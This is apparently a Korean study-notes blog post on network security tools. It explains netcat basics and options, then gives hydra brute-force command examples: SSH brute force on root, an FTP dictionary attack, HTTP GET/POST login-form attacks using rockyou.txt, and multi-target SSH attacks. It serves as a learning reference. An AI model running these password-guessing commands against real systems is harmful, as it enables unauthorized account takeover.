Post

네트워크 보안 이론 7

netcat

  • netcat은 네트워크 디버깅 및 조사에 널리 사용되는 유틸리티로, TCP 및 UDP 프로토콜을 이용하여 원격 장치와의 데이터 전송이 가능
  • 주로 네트워크 연결 확인, 포트 스캔, 간단한 서버 또는 클라이언트 기능으로 사용됨

- 기본 사용법:

  • 서버: nc -l -p <포트>
  • 클라이언트: nc <IP 주소> <포트>

- 유용한 옵션:

  • -z: 포트 스캔을 위한 “zero-I/O” 모드로, 연결 확인만 수행
  • -v: 상세 출력 모드
  • -w: 대기 시간을 지정하여 특정 시간 이후 연결 종료
  • -u: UDP 모드로 전환
  • -e: 명령어 실행 (보안상의 이유로 일부 시스템에서는 제한)

hydra

  • hydra는 다양한 네트워크 서비스에 대한 무작위 대입(Brute Force) 공격을 통해 계정 정보를 추출할 수 있는 도구
  • 여러 프로토콜을 지원하며, 주로 패스워드 크래킹에 사용됩니다.

- Hydra 사용 예시

- SSH 서버 무작위 대입 공격

1
hydra -l root -x 4:8:abcdefghij 10.10.10.4 ssh
  • -l: 사용자 이름 지정 (여기서는 root)
  • -x 4:8: 길이 4~8의 비밀번호를 소문자로 조합하여 무작위 생성
  • ssh: 공격 대상 서비스 지정

- FTP 사전 공격

1
hydra -l admin -P password_list.txt ftp://10.10.10.4
  • -l admin: 사용자 이름 지정
  • -P password_list.txt: 비밀번호 리스트 지정
  • ftp://10.10.10.4: FTP 서버의 IP 주소 지정

- HTTP GET 요청을 통한 무작위 대입 (비효율적)

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-get-form "/login.php:username=^USER^&password=^PASS^:Login failed"
  • http-get-form: GET 요청을 사용하여 웹 로그인 페이지 공격
  • ^USER^^PASS^: 사용자 및 비밀번호 자리에 사용할 값

- HTTP POST 요청을 통한 무작위 대입 (비효율적)

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"
  • http-post-form: POST 요청을 사용하여 웹 로그인 페이지 공격

- SSH 다중 대상 공격

1
hydra -L user_list.txt -P password_list.txt -M target_list.txt ssh
  • -L user_list.txt: 사용자 이름 목록 파일
  • -P password_list.txt: 비밀번호 목록 파일
  • -M target_list.txt: 대상 서버 목록

- Hydra 주요 옵션

  • -l LOGIN 또는 -L FILE: 사용자 이름 또는 사용자 이름 목록 지정
  • -p PASS 또는 -P FILE: 비밀번호 또는 비밀번호 목록 지정
  • -C FILE: 사용자 이름과 비밀번호 조합 목록 파일
  • -t TASKS: 동시에 실행할 작업 수 (기본: 16)
  • -w TIME: 각 연결 시도 사이의 대기 시간 (초 단위)
  • -v / -V / -d: 자세한 정보 / 각 시도 결과 표시 / 디버그 모드
  • -s PORT: 포트 번호 지정
  • -M FILE: 대상 서버 목록 파일 지정
  • service://server[:PORT][/OPT]: 서비스 및 서버 주소 (예: ftp://192.168.0.1)